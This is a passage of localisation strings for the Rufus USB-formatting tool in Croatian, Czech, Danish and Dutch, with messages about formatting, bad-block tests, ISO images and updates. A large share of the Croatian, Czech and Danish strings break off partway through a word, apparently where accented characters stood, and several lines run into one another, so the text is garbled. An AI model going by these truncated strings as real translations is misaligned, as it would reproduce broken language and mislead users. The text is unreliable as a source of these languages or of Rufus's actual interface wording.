i blokovi: %s %d/%d - %0.2f%% (%d/%d/%d gre
t MSG_236 "Lo
t MSG_237 "Lo
i blokovi: Testiram s uzorkom 0xX"
t MSG_238 "Particioniram (%s)..."
t MSG_239 "Bri
t MSG_240 "Preuzimam %s: povezivanje..."
t MSG_241 "Preuzimam: %0.1f%%"
t MSG_242 "Neuspjelo preuzimanje."
t MSG_243 "Provjera Rufus a
t MSG_244 "A
t MSG_245 "A
t MSG_246 "Dostupna nova verzija Rufusa!"
t MSG_247 "Nema novih verzija Rufusa"
t MSG_248 "Klju
t MSG_249 "Neuspjela operacija"
t MSG_250 "%s omogu
t MSG_251 "%s onemogu
t MSG_252 "Provjera veli
t MSG_253 "Otkrivanje Hard Diskova"
t MSG_254 "Forsiraj veliko FAT32 formatiranje"
t MSG_256 "La
t MSG_257 "Joliet podr
t MSG_258 "Rock Ridge podr
t MSG_259 "Forsiranje a
t MSG_260 "NTFS kompresija"
t MSG_261 "Zapisujem: %0.1f%% zavr
t MSG_262 "ISO podr
t MSG_263 "Koristi PRAVE vel. jedinica"
t MSG_264 "Bri
em direktorij '%s'"
t MSG_265 "VMWare disk detekcija"
t MSG_266 "Dual UEFI/BIOS na
t MSG_267 "Primjenjujem Windows sliku: %0.1f%% zavr
t MSG_268 "Primjenjujem Windows sliku..."
t MSG_269 "O
t MSG_271 "Ra
t MSG_272 "Izra
t MSG_273 "Promjena jezika"
t MSG_274 "ISOHybrid slika otkrivena"
t MSG_275 "Slika koju ste odabrali je 'ISOHybrid'. Takva datoteka mo
"%s (kopiranje) ili %s (disk image).\n"
uje metodu %s, tako da imate neograni
ete na probleme kod boota, isprobajte metodu %s.\n\n"
"Molimo odaberite metodu za ovu operaciju:"
t MSG_276 "Metodom %s (Preporu
t MSG_277 "Metodom %s"
t MSG_278 "Boot tip"
t MSG_280 "Odabir datoteke"
t MSG_281 "(Molim odaberite datoteku)"
t MSG_282 "Ekskluzivno zaklju
t MSG_283 "Neva
t MSG_284 "Preuzeta aplikacija ne sadr
t MSG_285 "Preuzeta aplikacija je potpisana od strane
t IDC_WINDOWS_INSTALL "Standartn
instalace Windows"
t IDC_WINDOWS_TO_GO "P
Windows"
t IDC_WEBSITE "Klepnut
ejdete na webov
t MSG_001 "Zji
t MSG_002 "Program Rufus je ji
t MSG_003 "VAROV
M DISKU %s. BUDOU VYMAZ
to operaci, klikn
t MSG_004 "Nastaven
t MSG_005 "Chcete povolit online kontrolu aktualizac
t MSG_006 "Zav
t MSG_007 "Zru
t MSG_008 "Ano"
t MSG_010 "Byly nalezeny chybn
t MSG_011 "Kontrola dokon
: %d \n"
: %d\n po
pisu: %d\n po
: %d\n"
t MSG_012 "%s\nPodrobn
vu najdete tady:\n%s"
t MSG_013 "Zak
t MSG_014 "Denn
t MSG_015 "T
t MSG_016 "M
t MSG_017 "Vlastn
t MSG_018 "Va
e verze: %d.%d (Build %d)"
t MSG_019 "Posledn
verze: %d.%d (Build %d)"
t MSG_026 "bajt
t MSG_027 "kilobajt
t MSG_028 "megabajt
t MSG_029 "V
t MSG_030 "%s (V
t MSG_031 "%s sch
lu pro BIOS nebo %s"
t MSG_032 "%s sch
t MSG_033 "%s sch
t MSG_034 "%d pokus"
t MSG_035 "%d pokusy"
t MSG_036 "Obraz ISO"
t MSG_037 "Aplikace"
t MSG_038 "P
t MSG_039 "Spustit"
t MSG_040 "St
t MSG_041 "Operace byla p
t MSG_042 "Chyba"
t MSG_043 "Chyba: %s"
t MSG_044 "Sta
t MSG_045 "Pam
t MSG_047 "V
t MSG_048 "Rufus - Vyprazd
t MSG_049 "Rufus - Ukon
t MSG_050 "Hotovo."
t MSG_051 "Nezn
t MSG_052 "Zvolen
t MSG_053 "P
t MSG_054 "Za
t MSG_055 "Za
t MSG_056 "Rychl
t MSG_057 "N
t MSG_058 "Identifik
t MSG_059 "Zvolen
t MSG_060 "Velikost svazku je neplatn
t MSG_061 "Vlo
t MSG_062 "Obdr
t MSG_063 "Chyba p
t MSG_064 "Chyba
t MSG_065 "Chyba z
t MSG_066 "Instalace selhala"
t MSG_067 "Nen
t MSG_068 "Chyba p
t MSG_069 "Kop
t MSG_070 "Zru
t MSG_071 "Nelze spustit vl
t MSG_072 "Kontrola chybn
t MSG_073 "Anal
t MSG_074 "Rozbalovan
t MSG_075 "Nen
t MSG_076 "Nen
t MSG_077 "Nen
t MSG_078 "Nen
t MSG_079 "Za
t MSG_080 "Program Rufus zjistil,
e Windows st
to operace m
ujeme nechat Windows dokon
t MSG_081 "Nepodporovan
t MSG_082 "Tento obr
t MSG_083 "Nahradit %s?"
t MSG_084 "Zd
zastaralou verzi '%s'.\n"
soubor %s bude sta
t MSG_085 "Stahuji: %s"
t MSG_086 "Nebyl zvolen
t MSG_087 "Klikn
t MSG_088 "Obraz disku je p
t MSG_089 "Obraz disku je p
t MSG_090 "Nepodporovan
t MSG_091 "P
t MSG_092 "Nepodporovan
t MSG_093 "D
pro Windows. "
t MSG_094 "Bylo zji
t MSG_095 "Obraz DD"
t MSG_096 "Souborov
t MSG_097 "'%s' lze pou
t MSG_098 "D
Windows', ale v
mu Windows bude s nejv
t MSG_099 "Omezen
t MSG_100 "Tento ISO obraz obsahuje soubor v
t MSG_101 "Chyb
t MSG_102 "V
Windows 7 a Windows Vista spustiteln
t MSG_103 "St
hnout %s?"
t MSG_104 "%s nebo vy
aduje instalaci souboru %s.\n"
%s ISO obrazech, "
s:\n"
mka: Soubor %s bude sta
t MSG_105 "Po zru
t MSG_106 "Pros
t MSG_107 "V
t MSG_108 "Z
t MSG_110 "MS-DOS nelze spustit z disku pou
t MSG_111 "Nekompatibiln
t MSG_112 "Form
%d:d, ukazatel pr
hu operace je b
t MSG_113 "Velk
t MSG_114 "Tento obraz pou
Syslinux %s%s, tato aplikace v
"Syslinux %s%s.\n\nJeliko
"(ldlinux.sys a ldlinux.bss):\n"
operace\n\n"
t MSG_115 "Nutn
t MSG_116 "Tento obraz pou
Grub %s ale aplikace obsahuje pouze instala
"Grub %s.\n\nVzhledem k r
"instalace souboru ('core.img') ktert MSG_150 "Obvykle nejbezpe
t MSG_151 "Pou
stup k obsahu USB disku z Windows XP"
t MSG_152 "Preferovan
t MSG_153 "Zku
vzorek: 0xX"
t MSG_154 "Zku
vzorek: 0xX, 0xX"
t MSG_155 "Zku
vzorek: 0xX, 0xX, 0xX"
t MSG_156 "Zku
vzorek: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Nastav
t MSG_158 "Minim
t MSG_159 "Pokud chcete nastavit jmenovku svazku, vypl
t MSG_160 "P
t MSG_161 "Zkontrolovat za
t MSG_162 "Odstran
t MSG_163 "Ozna
t MSG_164 "Vyberte metodu, kter
t MSG_165 "Klikn
t MSG_166 "Ozna
m souboru autorun.inf)"
t MSG_167 "Instalovat MBR, kter
t MSG_168 "Pokusit se o zamaskov
pouze pokud chcete instalovat Windows XP a m
t MSG_169 "Vytvo
t MSG_170 "Povol
t MSG_171 "Klepnut
t MSG_172 "Informace o licenci, aktualizaci a z
t MSG_173 "Kliknut
t MSG_174 "Rufus - Spolehliv
t MSG_175 "Verze %d.%d (Build %d)"
Richard Kahl <mailto:richard.kahl@seznam.cz>"
t MSG_177 "Nahl
t MSG_178 "Dal
t MSG_179 "Z
t MSG_180 "Pokud povol
t MSG_181 "Architektura va
eho opera
t MSG_182 "Pou
t MSG_184 "Pro
t MSG_185 "Aktualiza
t MSG_186 "Rufus neinstaluje ani nespou
t MSG_187 "Neplatn
t MSG_188 "Aktu
t MSG_189 "Tento ISO obraz nen
t MSG_190 "Rozpozn
t MSG_191 "Zapsat pr
t MSG_192 "P
t MSG_193 "Sta
eno %s"
t MSG_194 "Nelze st
hnout %s"
t MSG_195 "Pomoc
verze %s soubor(s)"
t MSG_196 "D
%d-byte one. "
t MSG_197 "Zji
t MSG_198 "'P
Windows' lze nainstalovat pouze na GPT odd
t MSG_199 "Vyberte tuto mo
nost, pokud chcete instalovat Windows, na jin
t MSG_200 "Tuto mo
nost vyberte, pokud chcete spustit Windows p
t MSG_201 "Ukon
uje se operace -
t MSG_202 "Anal
t MSG_203 "Anal
t MSG_204 "Zji
modul: %s"
t MSG_205 "Pou
obraz: %s"
t MSG_206 "Chyb
soubor: %s"
t MSG_207 "Nov
t MSG_208 "Bylo nalezeno %d za
t MSG_209 "Bylo nalezeno %d za
t MSG_210 "P
t MSG_211 "Zru
t MSG_212 "NEZDA
t MSG_213 "Spu
t MSG_214 "Spu
t MSG_215 "Otev
t MSG_216 "Ulo
t MSG_217 "Form
t MSG_218 "Vytv
loha %d/%d dokon
t MSG_219 "Oprava NTFS: %d%% dokon
t MSG_220 "Form
(%s) - zb
as: %d:d"
t MSG_221 "Nastaven
t MSG_222 "Form
t MSG_223 "Oprava NTFS (Kontrola disku)..."
t MSG_224 "Odstra
t MSG_225 "Po
t MSG_226 "Analyzov
t MSG_227 "Uzav
t MSG_228 "Zapisov
t MSG_229 "Zapisov
t MSG_230 "Kop
t MSG_231 "Kop
t MSG_232 "Nastaven
t MSG_233 "Dokon
t MSG_234 "Instaluje se Syslinux %s..."
t MSG_235 "Chybn
bloky: %s %d/%d - %0.2f%% (%d/%d/%d Chyby)"
t MSG_236 "Chybn
t MSG_237 "Chybn
se vzorkem 0xX"
t MSG_238 "Vytv
t MSG_239 "Odstra
t MSG_240 "Stahov
%s - Prob
t MSG_241 "Stahov
t MSG_242 "Sta
t MSG_243 "Kontrola aktualizac
t MSG_244 "Aktualizace: Chyba p
t MSG_245 "Aktualizace:
t MSG_246 "Je dostupn
t MSG_247 "Nebyla nalezena nov
t MSG_248 "Kl
t MSG_249 "Odstran
t MSG_250 "%s: povoleno"
t MSG_251 "%s: zak
t MSG_252 "Kontrola velikosti"
t MSG_253 "Detekce HDD"
t MSG_254 "Vynutit form
t MSG_255 "NoDriveTypeAutorun bude p
t MSG_256 "Zji
t MSG_257 "Joliet podpora"
t MSG_258 "Rock Ridge podpora"
t MSG_259 "Vynutit aktualizaci"
t MSG_260 "NTFS komprese"
t MSG_261 "Z
t MSG_262 "ISO podpora"
t MSG_263 "Pou
t MSG_264 "Odstran
t MSG_265 "VMWare detekce disk"
t MSG_266 "Dvoj
t MSG_267 "Pou
Windows obrazu: %0.1f%% komplet"
t MSG_268 "Pou
Windows obrazu..."
t MSG_269 "Zachovat
t MSG_270 "USB lad
t MSG_271 "V
t MSG_272 "Vypo
t MSG_273 "Zm
t MSG_274 "ISOHybridn
t MSG_275 "Obr
"%s (kop
imu %s (obraz disku) re
%s re
ete zkusit zapsat tento obraz znovu %s re
t MSG_276 "Re
pisu %s (Doporu
t MSG_277 "Re
pisu %s"
t MSG_278 "Typ boot"
t MSG_279 "Nen
t MSG_280 "Volba obrazu"
t MSG_281 "(Pros
t MSG_282 "Uzam
t MSG_283 "Neplatn
t MSG_284 "Sch
t MSG_285 "Sta
n '%s'.\nTento nen
t IDC_WINDOWS_INSTALL "Standard Windows-installation"
t IDC_WINDOWS_TO_GO "Windows To Go (din PC p
m IDC_NBPASSES 25,0
t IDC_WEBSITE "Klik her for at g
t MSG_001 "Anden instans opdaget"
t MSG_002 "En anden Rufus applikation k
t MSG_003 "ADVARSEL: AL DATA P
'%s' VIL FORSVINDE.\n\n"
t MSG_004 "Rufus opdateringspolitik"
t MSG_005 "Giver du tilladelse til at Rufus s
t MSG_006 "Luk"
t MSG_007 "Annuller"
t MSG_008 "Ja"
t MSG_009 "Nej"
t MSG_010 "Fejlbeh
t MSG_011 "Kontrol f
rdig: %d fejlbeh
" %d l
sefejl\n %d skrivefejl\n %d korruptionsfejl\n"
t MSG_012 "%s\nEn mere detaljeret rapport kan findes i:\n%s"
t MSG_013 "Deaktiveret"
t MSG_014 "Dagligt"
t MSG_015 "Ugentligt"
t MSG_017 "Tilpasset"
t MSG_018 "Din version: %d.%d (Build %d)"
t MSG_019 "Seneste version: %d.%d (Build %d)"
t MSG_029 "standard"
t MSG_030 "%s (standard)"
t MSG_031 "%s partition for BIOS eller %s"
t MSG_032 "%s partition for BIOS"
t MSG_033 "%s partition for UEFI"
t MSG_034 "%d genneml
t MSG_035 "%d genneml
t MSG_036 "ISO-image"
t MSG_037 "Applikation"
t MSG_038 "Annuller"
t MSG_039 "K
t MSG_041 "Operation afbrudt af brugeren"
t MSG_042 "Fejl"
t MSG_043 "Fejl: %s"
t MSG_044 "Filhentning"
t MSG_045 "USB-lagerenhed (generisk)"
t MSG_047 "Flere partitioner"
t MSG_048 "Rufus - t
t MSG_049 "Rufus - annullerer"
t MSG_050 "Succes."
t MSG_051 "Ukendt fejl under formatering."
t MSG_052 "Kan ikke benytte det valgte filsystem for dette medie."
t MSG_053 "Adgang til enheden blev n
t MSG_054 "Mediet er skrivebeskyttet."
t MSG_055 "Enheden er i brug af en anden proces. "
t MSG_056 "Ekspresformatering er ikke tilg
t MSG_057 "Volume-etiketten er ugyldig."
t MSG_058 "Enhedshandle er ugyldig."
t MSG_059 "Den valgte klyngest
t MSG_060 "Den valgte volumest
t MSG_061 "Inds
t MSG_062 "En ikke underst
t MSG_063 "Fejl ved allokering af hukommelse."
t MSG_064 "L
t MSG_065 "Skrivefejl."
t MSG_066 "Installationsfejl."
t MSG_067 "Kan ikke
t MSG_068 "Fejl ved partitionering af drev."
t MSG_069 "Kunne ikke kopiere filer til destinationsdrevet."
t MSG_070 "Afbrudt af bruger."
t MSG_071 "Ikke i stand til at starte tr
t MSG_073 "Fejl ved scanning af ISO-image."
t MSG_074 "Fejl ved udpakning af ISO-image."
t MSG_075 "Kan ikke genmontere volumen."
t MSG_076 "Kan ikke installere boot-filer."
t MSG_077 "Kan ikke tildele drevbogstav."
t MSG_078 "Kan ikke montere GUID-volumen."
t MSG_079 "Enheden er ikke parat."
t MSG_080 "Rufus har opdaget, at Windows stadig t
din USB-enhed, kan denne operation tage lang tid at gennemf
r for store filer.\n\nVi anbefaler, at du lader Windows blive f
t MSG_081 "ISO-filen er ikke underst
t MSG_082 "Denne version af Rufus underst
t MSG_083 "Erstat %s?"
t MSG_084 "Dette ISO-image lader til at bruge en for
ldet version af '%s'.\n"
rk: '%s' bliver gemt i den nuv
t MSG_085 "Downloader %s"
t MSG_086 "Ingen image-fil er valgt"
t MSG_087 "Klik venligst p
t MSG_088 "Image-filen er for stor"
t MSG_089 "Diskbilledet er for stort til den valgte destination."
t MSG_090 "ISO-filen er ikke underst
t MSG_091 "N
t MSG_092 "Filsystemet er ikke underst
t MSG_093 "VIGTIGT: DETTE DREV INDEHOLDER FLERE PARTITIONER!!\n\n"
"Dette kan omfatte partitioner, der er skjulte eller endda er synlige fra Windows. "
t MSG_094 "Flere partitioner blev fundet"
t MSG_095 "DD-image"
t MSG_096 "Det valgte filsystem kan ikke bruges med denne ISO-fil. "
t MSG_097 "'%s' kan kun bruges med filsystemet NTFS."
t MSG_098 "VIGTIGT: Du er ved at installere 'Windows To Go', men installationsdrevet er ikke "
grund af dette vil Windows muligvis 'fryse' under opstart, "
"da Microsoft ikke har designet Windows til at virke med 'Flytbare' diske "
t MSG_099 "Filsystem begr
t MSG_100 "Dette ISO-image indeholder en fil der er st
t MSG_101 "Manglende WIM-underst
t MSG_102 "Din platform kan ikke udpakke filer fra et WIM-arkiv. Udpakning af WIM-filer "
vet for at oprette en EFI Windows 7 og Windows Vista USB boot-disk. Du kan l
t MSG_103 "Hent %s?"
t MSG_104 "%s eller senere kr
ver at en '%s'-fil bliver installeret.\n"
rre end 100 KB, og altid er i %s ISO-filer, "
t MSG_105 "Annullering kan efterlade enheden i en ubrugelig tilstand.\n"
t MSG_106 "V
t MSG_107 "Alle filer"
t MSG_110 "MS-DOS kan ikke boote fra et drev der bruger 64 kilobyte klyngest
t MSG_111 "Inkompatibel klyngest
t MSG_112 "Formatering af en stor UDF volume kan tage lang tid. Ved USB 2.0-hastigheder, er den ansl
"formatering %d:d, hvorunder statuslinjen forekommer frosset. V
t MSG_113 "Stort UDF volume"
t MSG_114 "Dette image benytter Syslinux %s%s men denne applikation indeholder kun installationsfilerne til "
"Syslinux %s%s.\n\nDa nye versioner af Syslinux ikke er kompatible med hinanden, og det desuden ikke "
"internettet ('ldlinux.sys' og 'ldlinux.bss'):\n"lg 'Nej' for at annullere operationen\n\n"
t MSG_115 "Download n
t MSG_116 "Dette image bruger Grub %s, og dette program har kun installationsfiler til "
"Grub %s.\n\nDa forskellige versioner af Grub muligvis ikke er kompatible med hinanden, og det ikke "
"-installationsfilen ('core.img') der matcher versionen fra dit image:\n"t MSG_150 "Normalt det sikreste valg. Hvis du har en UEFI-computer og vil installere "
t MSG_151 "V
"indholdet af USB'en fra Windows XP"
t MSG_152 "Den foretrukne mulighed for at installere et OS i EFI-tilstand, n
dvendig fra Windows XP"
t MSG_153 "Test m
nster: 0xX"
t MSG_154 "Test m
nster: 0xX, 0xX"
t MSG_155 "Test m
nster: 0xX, 0xX, 0xX"
t MSG_156 "Test m
nster: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "S
t MSG_158 "Mindste datam
t MSG_159 "Brug dette felt til at
t MSG_160 "Skift avancerede indstillinger"
t MSG_161 "Kontroller enheden for fejlbeh
t MSG_162 "Frav
t MSG_163 "V
t MSG_164 "Metode til at oprette en boot-disk"
t MSG_165 "Klik for at v
t MSG_166 "V
"og skabe et enheds-ikon (opretter en autorun.inf)"
t MSG_167 "Installer en MBR, der tillader boot valg og kan maskere et BIOS USB-drev ID"
t MSG_168 "Fors
dvendigt hvis du installerer Windows XP og ejer mere end
t MSG_169 "Opret en ekstra skjult partition og fors
g at tilpasse afgr
t MSG_170 "Vis liste over USB harddisk kabinetter. Brug p
t MSG_171 "Start formateringen.\nDette vil SLETTE alle data p
t MSG_172 "Licens information og anerkendelse"
t MSG_173 "Klik for at v
t MSG_174 "Rufus - Det p
t MSG_176 "Dansk overs
ttelse: Jens Hansen <mailto:zenzay@gmail.com>\\line "
"\\tab\\tab Bo Riis <mailto:supergoof@live.dk>"
t MSG_177 "Rapporter fejl eller anmod om forbedringer p
t MSG_178 "Yderligere rettigheder:"
t MSG_179 "Opdateringspolitik:"
t MSG_180 "Hvis du v
t MSG_181 "Dit operativsystems arkitektur og version"
t MSG_182 "Versionen af den applikation du bruger"
t MSG_183 "Din IP-adresse"
t MSG_184 "Med henblik p
t MSG_185 "Opdateringsproces:"
t MSG_186 "Rufus k
"Internetadgang er naturligvis p
t MSG_187 "Ugyldig image for den valgte boot mulighed"
t MSG_188 "Det nuv
t MSG_189 "Dette ISO-image er ikke kompatibelt med det valgte filsystem"
t MSG_190 "Inkompatibelt drev fundet"
t MSG_191 "Skrive test"
t MSG_192 "L
t MSG_193 "Hentet %s"
t MSG_194 "Kunne ikke hente %s"
t MSG_195 "Benytter standard version af %s fil(er)"
t MSG_196 "VIGTIGT: DETTE DREV BENYTTER IKKE STANDARD SEKTOR ST
rrelse mens dette drev benytter %d-byte sektorst
t MSG_197 "IKKE standard sektor st
t MSG_198 "'Windows To Go' kan kun installeres p
t MSG_199 "V
lg dette hvis du vil installere Windows p
t MSG_200 "V
re Windows fra dette drev."
t MSG_201 "Annullerer - vent venligst..."
t MSG_202 "Scanner image..."
t MSG_203 "Fejl opstod ved scanning af image"
t MSG_204 "For
ldet %s fundet"
t MSG_205 "ISO-image: %s"
t MSG_206 "Manglende %s fil
t MSG_207 "Ny disk"
t MSG_208 "%d enhed fundet"
t MSG_209 "%d enheder fundet"
t MSG_210 "Klar"
t MSG_211 "Afbrudt"
t MSG_212 "Fejl!"
t MSG_213 "Starter ny applikation..."
t MSG_214 "Kan ikke starte ny applikation"
bnet %s"
t MSG_216 "Gemt %s"
t MSG_217 "Formatering: %0.1f%% fuldf
t MSG_218 "Opretter filsystem: Opgave %d/%d fuldf
t MSG_219 "NTFS-fiks: %d%% fuldf
t MSG_220 "Formaterer (%s) - estimeret varighed %d:d..."
t MSG_221 "Opretter etiket (dette kan tage et stykke tid)..."
t MSG_222 "Formaterer (%s)..."
t MSG_223 "NTFS-fiks (Checkdisk)..."
t MSG_224 "Nulstiller MBR/PBR/GPT-strukturer..."
t MSG_225 "Anmoder om disktilgang..."
t MSG_226 "Analyserer eksisterende boot records..."
t MSG_227 "Lukker eksisterende volume..."
t MSG_228 "Skriver master boot record..."
t MSG_229 "Skriver partition boot record..."
t MSG_230 "Kopierer DOS-filer..."
t MSG_231 "Kopierer ISO-filer..."
t MSG_232 "Win7 EFI boot setup (dette kan tage noget tid)..."
t MSG_233 "Afslutter, vent venligst..."
t MSG_234 "Installerer Syslinux %s..."
t MSG_235 "Disktest: %s %d/%d - %0.2f%% (%d/%d/%d fejl)"
t MSG_236 "Disktest: Tester med tilf
t MSG_237 "Disktest: Tester med m
nsteret 0xX"
t MSG_238 "Partitionerer (%s)..."
t MSG_239 "Sletter partitioner..."
t MSG_240 "Henter %s: Tilslutter..."
t MSG_241 "Henter: %0.1f%%"
t MSG_242 "Kunne ikke hente fil."
t MSG_243 "S
t MSG_244 "Opdateringer: Ikke i stand til at tilslutte internettet"
t MSG_245 "Opdateringer: Ikke i stand til at tilg
t MSG_246 "En ny version af Rufus er tilg
t MSG_247 "Ingen nyere version af Rufus blev fundet"
t MSG_248 "Applikationsn
t MSG_249 "Kunne ikke slette applikationsn
t MSG_250 "%s aktiveret"
t MSG_251 "%s deaktiveret"
t MSG_252 "Tjek st
t MSG_253 "Lokal-disk detektering"
t MSG_254 "Tvunget 'large FAT32' formatering"
t MSG_255 "NoDriveTypeAutorun bliver detekteret ved exit"
t MSG_256 "Opdag falske drev"
t MSG_257 "Joliet underst
t MSG_258 "Rock Ridge underst
t MSG_259 "Tvunget opdatering"
t MSG_260 "NTFS-komprimering"
t MSG_261 "Skriver til image: %0.1f%% fuldf
t MSG_262 "ISO-underst
t MSG_263 "MiB notation"
t MSG_264 "Sletter mappen '%s'"
t MSG_265 "VMWare disk detektering"
t MSG_267 "Anvender Windows-image: %0.1f%% fuldf
t MSG_268 "Anvender Windows-image..."
t MSG_269 "Bevar tidsstempler"
t MSG_271 "Beregner imagechecksumme: %0.1f%% fuldf
t MSG_272 "Beregner MD5-, SHA1- og SHA256-checksumme for det valgte diskbillede"
t MSG_273 "Skift programsprog"
t MSG_274 "ISOHybrid-diskbillede opdaget"
t MSG_275 "Det diskbillede du har valgt er et 'ISOHybrid'-diskbillede. Det betyder at det b
"%s (filkopiering) og %s (diskbillede).\n"
"Rufus anbefaler at du skriver det som %s, s
ve at skrive diskbilledet som %s.\n\n"
t MSG_276 "Skriv som %s (Anbefalet)"
t MSG_277 "Skriv som %s"
t MSG_278 "Opstartstype"
t MSG_279 "Ikke startbar"
t MSG_280 "Diskbillede"
t MSG_281 "(V
t MSG_282 "Isoleret USB-lukning"
t MSG_283 "Ugyldig signatur"
t MSG_284 "Den hentede fil mangler en digital signatur."
t MSG_285 "Den hentede fil er signeret af '%s'.\nDet er ikke en signatur vi genkender og det kan tyde "
m IDC_NBPASSES 20,0
t IDC_WINDOWS_INSTALL "Standaard Windows installatie"
t IDC_WEBSITE "Klik hier om naar de website te gaan"
t MSG_001 "Ander programma gedetecteerd"
t MSG_002 "Een andere Rufus applicatie is geopend.\n"
t MSG_003 "WAARSCHUWING: ALLE DATA OP APPARAAT '%s' ZAL VERWIJDERD WORDEN.\n"
t MSG_004 "Rufus update beleid"
t MSG_005 "Wilt u Rufus toestaan om online te zoeken naar programma updates?"
t MSG_006 "Sluiten"
t MSG_007 "Annuleren"
t MSG_009 "Nee"
t MSG_010 "Slechte blokken gevonden"
t MSG_011 "Controle voltooid: %d slechte blok(ken) gevonden\n"
" %d leesfout(en)\n %d schrijffout(en)\n %d corruptiefout(en)\n"
t MSG_012 "%s\nEen meer gedetailleerder rapport kan worden gevonden in:\n%s"
t MSG_013 "Uitgeschakeld"
t MSG_014 "Dagelijks"
t MSG_015 "Wekelijks"
t MSG_016 "Maandelijks"
t MSG_017 "Aangepast"
t MSG_018 "Huidige versie: %d.%d (Build %d)"
t MSG_019 "Laatste versie: %d.%d (Build %d)"
t MSG_029 "Standaard"
t MSG_030 "%s (Standaard)"
t MSG_031 "%s partitie-indeling voor BIOS of %s"
t MSG_032 "%s partitie-indeling voor BIOS"
t MSG_033 "%s partitie-indeling voor UEFI"
t MSG_034 "%d Ronde"
t MSG_035 "%d Rondes"
t MSG_036 "ISO image"
t MSG_037 "Applicatie"
t MSG_038 "Afbreken"
t MSG_039 "Start"
t MSG_041 "Opdracht geannuleerd door de gebruiker"
t MSG_042 "Fout"
t MSG_043 "Fout: %s"
t MSG_044 "Bestand download"
t MSG_045 "USB Opslag Apparaat (Algemeen)"
t MSG_047 "Meerdere partities"
t MSG_048 "Rufus - Buffers aan het legen"
t MSG_049 "Rufus - Annulatie"
t MSG_050 "Succesvol."
t MSG_051 "Onbepaalde fout tijdens formatteren."
t MSG_052 "Kan geselecteerde bestandssysteem niet gebruiken voor dit medium."
t MSG_053 "Geen toegang tot het apparaat."
t MSG_054 "Medium is schrijfbeveiligd."
t MSG_055 "Het apparaat is in gebruik door een ander proces."
t MSG_056 "Snelformatteren is niet beschikbaar voor dit apparaat."
t MSG_057 "Het volumelabel is ongeldig."
t MSG_058 "De apparaat tabel is ongeldig."
t MSG_059 "De geselecteerde clustergrootte is ongeldig voor dit apparaat."
t MSG_060 "De volumegrootte is ongeldig."
t MSG_061 "Plaats een verwisselbaar medium a.u.b."
t MSG_062 "Een ongeldige opdracht was ontvangen."
t MSG_063 "Geheugentoewijzing mislukt."
t MSG_064 "Leesfout."
t MSG_065 "Schrijffout."
t MSG_066 "Installatie mislukt"
t MSG_067 "Medium kan niet geopend worden. Het is in gebruik door een ander proces. "
t MSG_068 "Fout tijdens het partitioneren van de drive."
t MSG_069 "Kan bestanden niet kopi
t MSG_070 "Geannuleerd door de gebruiker."
t MSG_071 "Thread starten is niet mogelijk."
t MSG_072 "Controle van slechte blokken niet voltooid."
t MSG_073 "ISO image controle fout."
t MSG_074 "ISO image extractie fout."
t MSG_075 "Herkoppelen van volume niet mogelijk."
t MSG_076 "Patchen/klaarmaken van bestanden voor opstarten niet mogelijk."
t MSG_077 "Niet mogelijk om een driveletter toe te wijzen."
t MSG_078 "Kan GUID volume niet koppelen."
t MSG_079 "Het apparaat is niet klaar."
t MSG_080 " Rufus heeft gedetecteerd dat Windows nog steeds bezig is om zijn interne buffers te legen naar het USB apparaat.\n\n"
"Afhankelijk van de snelheid van uw USB apparaat kan deze operatie een lange tijd duren voordat deze voltooid is.\n"
"Zeker voor grote bestanden.\n\nHet is aanbevolen om Windows de taak volledig te laten voltooien om datacorruptie te voorkomen.\n"
t MSG_081 "Niet-ondersteunde image"
t MSG_082 "Deze image is ofwel niet opstartbaar, of het gebruikt een opstart- of compressiemethode die niet ondersteund wordt door Rufus..."
t MSG_083 "%s vervangen?"
t MSG_084 "Deze ISO image lijkt een verouderde versie te gebruiken van '%s'.\n"
"'%s' bestaat, zal deze automatisch hergebruiktworden."
t MSG_085 "Bezig met downloaden van %s"
t MSG_086 "Geen image geselecteerd."
t MSG_087 "Klik a.u.b. op de CD knop om een opstartbare image te selecteren.\n"
t MSG_088 "Image is te groot"
t MSG_089 "De image is te groot voor het geselecteerde doelapparaat."
t MSG_090 "Niet-ondersteunde ISO"
t MSG_091 "Wanneer voor type computer UEFI is geselecteerd, zijn alleen EFI opstartbare ISO images ondersteund."
t MSG_092 "Niet ondersteund bestandssysteem"
t MSG_093 "BELANGRIJK: DEZE DRIVE BEVAT MEERDERE PARTITIES!!\n\n"
"Dit kunnen partities/volumes zijn die niet in de lijst voor komen of zelfs niet zichtbaar zijn voor Windows. "
t MSG_094 "Meerdere partities gedetecteerd"
t MSG_096 "Het geselecteerde bestandssysteem kan niet worden gebruikt met dit type ISO. Selecteer een ander bestandssysteem of gebruik een andere ISO."
t MSG_097 "'%s' kan alleen worden toegepast als het bestandssysteem NTFS is."
t MSG_098 "BELANGRIJK: U probeert 'Windows To Go' te installeren, maar uw doelschijf heeft "
"het "FIXED" attribuut niet. Hierdoor zal Windows hoogst waarschijnlijk vastlopen tijdens "
t MSG_099 "Beperking van bestandssysteem"
t MSG_100 "Deze ISO image bevat een bestand dat groter is dan 4 GB wat groter is dan de "
t MSG_101 "WIM ondersteuning ontbreekt."
t MSG_102 "Uw OS kan geen bestanden uitpakken van WIM archieven. WIM extractie is nodig om EFI opstartbare Windows 7 en Windows Vista USB drives te maken. U kunt dit oplossen "
t MSG_104 "%s of hoger vereist een '%s' bestand om het te kunnen installeren.\n"
"Omdat dit bestand groter is dan 100 KB en altijd aanwezig is op %s ISO images,"
"%s' al bestaat, zal deze automatisch vervangen worden."
t MSG_105 "Wanneer u annuleert kan het apparaat ONBRUIKBAAR worden.\n"
t MSG_106 "Selecteer een map a.u.b."
t MSG_107 "Alle bestanden"
t MSG_110 "MS-DOS kan niet opstarten van een apparaat met een clustergrootte van 64 kilobyte..."
t MSG_111 "Incompatibel Clustergrootte"
t MSG_112 "Het formatteren van grote UDF volumes kan een lange tijd duren..."
t MSG_113 "Grote UDF volume"
t MSG_114 "Deze image maakt gebruik van Syslinux %s%s maar de applicatie bevat alleen de installatiebestanden voor"
"Syslinux %s%s.\n\nOmdat oude en nieuwe versies van Syslinux niet compatibel zijn met elkaar, en het niet mogelijk is voor Rufus om alle versies te beheren,"
"moeten twee extra bestanden gedownload worden van het internet ('ldlinux.sys' en 'ldlinux.bss'):\n"t MSG_115 "Download is vereist"
t MSG_116 "Deze image maakt gebruik van Grub %s maar de applicatie bevat alleen de installatiebestanden voor Grub %s.\n\n"
"Grub installatie bestand ('core.img') te zoeken dat overeenkomst met uw image:\n"t MSG_150 "Normaal gesproken de veiligste keuze. Als u een UEFI computer hebt maar u wilt "
